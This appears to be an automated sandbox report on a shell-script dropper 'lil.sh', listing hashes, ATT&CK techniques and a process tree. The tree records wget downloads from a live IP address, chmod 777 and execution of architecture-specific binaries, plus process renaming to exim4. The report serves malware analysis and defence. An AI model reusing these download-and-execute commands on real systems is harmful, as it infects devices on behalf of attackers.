b43891483e082ae72eb4c535dd885002b7feab1d74640468a863fe21b4bc0083

Analysis

max time kernel
8s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/02/2025, 16:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 705B
Sample250219-tzee3swm13
SHA256 b43891483e082ae72eb4c535dd885002b7feab1d74640468a863fe21b4bc0083
MD5 7dce8b6be746d0f11ef118f761cc8cfd
SHA1 aa76488843e5af239d24ec174f6ee220d5d515ba
SHA512 322657b2960f4e2359037c1fe16a40b3c5f604f890d900b54de53a814489b1d27691c2a15fd3e2c7f4197655d800aefa9fd8296c857990f50c3a5d99206a11ee
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
757	chmod
768	chmod
780	chmod
791	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/g2	769	lil.sh
/tmp/g3	781	lil.sh

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	g3

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/usr/sbin/exim4	781	g3

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	g3

Reads runtime system information 33 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/148/cmdline	g3
File opened for reading	/proc/303/cmdline	g3
File opened for reading	/proc/595/cmdline	g3
File opened for reading	/proc/608/cmdline	g3
File opened for reading	/proc/647/cmdline	g3
File opened for reading	/proc/649/cmdline	g3
File opened for reading	/proc/782/cmdline	g3
File opened for reading	/proc/781/status	g3
File opened for reading	/proc/266/cmdline	g3
File opened for reading	/proc/322/cmdline	g3
File opened for reading	/proc/662/cmdline	g3
File opened for reading	/proc/stat	g3
File opened for reading	/proc/794/cmdline	g3
File opened for reading	/proc/168/cmdline	g3
File opened for reading	/proc/601/cmdline	g3
File opened for reading	/proc/607/cmdline	g3
File opened for reading	/proc/784/cmdline	g3
File opened for reading	/proc/283/cmdline	g3
File opened for reading	/proc/305/cmdline	g3
File opened for reading	/proc/313/cmdline	g3
File opened for reading	/proc/656/cmdline	g3
File opened for reading	/proc/793/cmdline	g3
File opened for reading	/proc/1/cmdline	g3
File opened for reading	/proc/667/cmdline	g3
File opened for reading	/proc/795/cmdline	g3
File opened for reading	/proc/216/cmdline	g3
File opened for reading	/proc/284/cmdline	g3
File opened for reading	/proc/269/cmdline	g3
File opened for reading	/proc/599/cmdline	g3
File opened for reading	/proc/786/cmdline	g3
File opened for reading	/proc/280/cmdline	g3
File opened for reading	/proc/648/cmdline	g3
File opened for reading	/proc/787/status	g3

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
759	g1

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/g	wget
File opened for modification	/tmp/g2	wget
File opened for modification	/tmp/g3	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:656
- /bin/readlink
  readlink -f /proc/1/exe
  2⤵
  PID:657
- /bin/readlink
  readlink -f /proc/10/exe
  2⤵
  PID:659
- /bin/readlink
  readlink -f /proc/103/exe
  2⤵
  PID:661
- /bin/readlink
  readlink -f /proc/11/exe
  2⤵
  PID:666
- /bin/readlink
  readlink -f /proc/112/exe
  2⤵
  PID:668
- /bin/readlink
  readlink -f /proc/114/exe
  2⤵
  PID:671
- /bin/readlink
  readlink -f /proc/115/exe
  2⤵
  PID:672
- /bin/readlink
  readlink -f /proc/12/exe
  2⤵
  PID:675
- /bin/readlink
  readlink -f /proc/13/exe
  2⤵
  PID:677
- /bin/readlink
  readlink -f /proc/14/exe
  2⤵
  PID:679
- /bin/readlink
  readlink -f /proc/143/exe
  2⤵
  PID:680
- /bin/readlink
  readlink -f /proc/148/exe
  2⤵
  PID:682
- /bin/readlink
  readlink -f /proc/15/exe
  2⤵
  PID:685
- /bin/readlink
  readlink -f /proc/151/exe
  2⤵
  PID:687
- /bin/readlink
  readlink -f /proc/153/exe
  2⤵
  PID:689
- /bin/readlink
  readlink -f /proc/16/exe
  2⤵
  PID:691
- /bin/readlink
  readlink -f /proc/160/exe
  2⤵
  PID:693
- /bin/readlink
  readlink -f /proc/168/exe
  2⤵
  PID:694
- /bin/readlink
  readlink -f /proc/17/exe
  2⤵
  PID:695
- /bin/readlink
  readlink -f /proc/18/exe
  2⤵
  PID:697
- /bin/readlink
  readlink -f /proc/19/exe
  2⤵
  PID:699
- /bin/readlink
  readlink -f /proc/2/exe
  2⤵
  PID:700
- /bin/readlink
  readlink -f /proc/20/exe
  2⤵
  PID:701
- /bin/readlink
  readlink -f /proc/21/exe
  2⤵
  PID:702
- /bin/readlink
  readlink -f /proc/216/exe
  2⤵
  PID:704
- /bin/readlink
  readlink -f /proc/22/exe
  2⤵
  PID:706
- /bin/readlink
  readlink -f /proc/23/exe
  2⤵
  PID:708
- /bin/readlink
  readlink -f /proc/24/exe
  2⤵
  PID:709
- /bin/readlink
  readlink -f /proc/25/exe
  2⤵
  PID:710
- /bin/readlink
  readlink -f /proc/26/exe
  2⤵
  PID:712
- /bin/readlink
  readlink -f /proc/266/exe
  2⤵
  PID:713
- /bin/readlink
  readlink -f /proc/269/exe
  2⤵
  PID:714
- /bin/readlink
  readlink -f /proc/27/exe
  2⤵
  PID:715
- /bin/readlink
  readlink -f /proc/28/exe
  2⤵
  PID:716
- /bin/readlink
  readlink -f /proc/280/exe
  2⤵
  PID:718
- /bin/readlink
  readlink -f /proc/283/exe
  2⤵
  PID:719
- /bin/readlink
  readlink -f /proc/284/exe
  2⤵
  PID:720
- /bin/readlink
  readlink -f /proc/29/exe
  2⤵
  PID:721
- /bin/readlink
  readlink -f /proc/3/exe
  2⤵
  PID:722
- /bin/readlink
  readlink -f /proc/303/exe
  2⤵
  PID:723
- /bin/readlink
  readlink -f /proc/305/exe
  2⤵
  PID:724
- /bin/readlink
  readlink -f /proc/313/exe
  2⤵
  PID:725
- /bin/readlink
  readlink -f /proc/322/exe
  2⤵
  PID:726
- /bin/readlink
  readlink -f /proc/4/exe
  2⤵
  PID:727
- /bin/readlink
  readlink -f /proc/41/exe
  2⤵
  PID:728
- /bin/readlink
  readlink -f /proc/42/exe
  2⤵
  PID:729
- /bin/readlink
  readlink -f /proc/43/exe
  2⤵
  PID:730
- /bin/readlink
  readlink -f /proc/5/exe
  2⤵
  PID:731
- /bin/readlink
  readlink -f /proc/595/exe
  2⤵
  PID:732
- /bin/readlink
  readlink -f /proc/599/exe
  2⤵
  PID:733
- /bin/readlink
  readlink -f /proc/6/exe
  2⤵
  PID:734
- /bin/readlink
  readlink -f /proc/601/exe
  2⤵
  PID:735
- /bin/readlink
  readlink -f /proc/607/exe
  2⤵
  PID:736
- /bin/readlink
  readlink -f /proc/608/exe
  2⤵
  PID:737
- /bin/readlink
  readlink -f /proc/647/exe
  2⤵
  PID:738
- /bin/readlink
  readlink -f /proc/648/exe
  2⤵
  PID:739
- /bin/readlink
  readlink -f /proc/649/exe
  2⤵
  PID:740
- /bin/readlink
  readlink -f /proc/651/exe
  2⤵
  PID:741
- /bin/readlink
  readlink -f /proc/653/exe
  2⤵
  PID:742
- /bin/readlink
  readlink -f /proc/654/exe
  2⤵
  PID:743
- /bin/readlink
  readlink -f /proc/655/exe
  2⤵
  PID:744
- /bin/readlink
  readlink -f /proc/656/exe
  2⤵
  PID:745
- /bin/readlink
  readlink -f /proc/7/exe
  2⤵
  PID:746
- /bin/readlink
  readlink -f /proc/8/exe
  2⤵
  PID:747
- /bin/readlink
  readlink -f /proc/81/exe
  2⤵
  PID:748
- /bin/readlink
  readlink -f /proc/9/exe
  2⤵
  PID:749
- /bin/rm
  rm -rf g1
  2⤵
  PID:750
- /usr/bin/wget
  wget http://83.150.218.193/g
  2⤵
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod 777 g1
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/g1
  ./g1 lilin.mips
  2⤵
  - System Network Configuration Discovery
  PID:759
- /bin/rm
  rm -rf g
  2⤵
  PID:760
- /usr/bin/wget
  wget http://83.150.218.193/g2
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 g2
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/g2
  ./g2 lilin.mpsl
  2⤵
  PID:769
- /bin/rm
  rm -rf g
  2⤵
  PID:772
- /usr/bin/wget
  wget http://83.150.218.193/g3
  2⤵
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 g3
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/g3
  ./g3 lilin.arm
  2⤵
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:781
- /bin/rm
  rm -rf g
  2⤵
  PID:786
- /usr/bin/wget
  wget http://83.150.218.193/g6
  2⤵
  PID:790
- /bin/chmod
  chmod 777 g6
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/g6
  ./g6 lilin.arm7
  2⤵
  PID:792
- /bin/rm
  rm -rf lil
  2⤵
  PID:793

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/g
Size 686B
SHA256 f0a04928806ec265dd32c7355d1b8788aa675f862a30fdfc936d33c71130823c
MD5 f699a3f7bec6ff53d55312e48536c3bc
SHA1 9be3dcef48fabcedfa88ee293ccc48fdae334892
SHA512 4978e606a246b41319b90ba3b2626e3e194adc93473d848f7b6d6040452dd0996b3859ee30136216893f92b772e910a4a2fc7eaa22ee5679bb677de02f7b84d3
MD5 SHA1 SHA512

Submit Download

Path /tmp/g2
Size 174KB
SHA256 4ed994e9d4a88b0c887593b0941cf5c62663ff4b20c1280f887e3c913e7f483e
MD5 e2298d580b39b4b8ca7568604f467098
SHA1 ef75364f4106162e194a98577445b8be68c0a79a
SHA512 18cc717db1a6a1605eb36242583f9e4722162b6c2b0aa99147361c7f162a4c88de21a6054696c5c1a6a1826803ef8a1dfcc7df7c1af15ac59641ac9e0fdd1c20
SSDEEP 1536:tCsh8o+JL6ImFV1leZzswiehCofd7/T/PkElm6w2RlyGidRt2//yQ0o+5FwhsTmk:tCshz+ZXi+Cofd7F/yGs3eeR
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/g3
Size 125KB
SHA256 fc2516f37e9bd4fbfe955d47506fb071e72bb16f32ab4a6aa45163787459de1d
MD5 a6a47750204188c377bb62bdac2a38f7
SHA1 910ace91524a93e7a534e19a86c80a14edc24a0f
SHA512 bf26120600eabb0f45455f678df9d359585c7abe1a89526d248e7bafdf3627914cb0605735c410ad5f710a4d6813cad51e996e59f73dddfc174be89a232e77ec
SSDEEP 3072:fWBJDtweHHIBbWifr4hr8PrBdiF2Nh6vm03C:EHrifs4TnTNhem0
MD5 SHA1 SHA512 SSDEEP

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads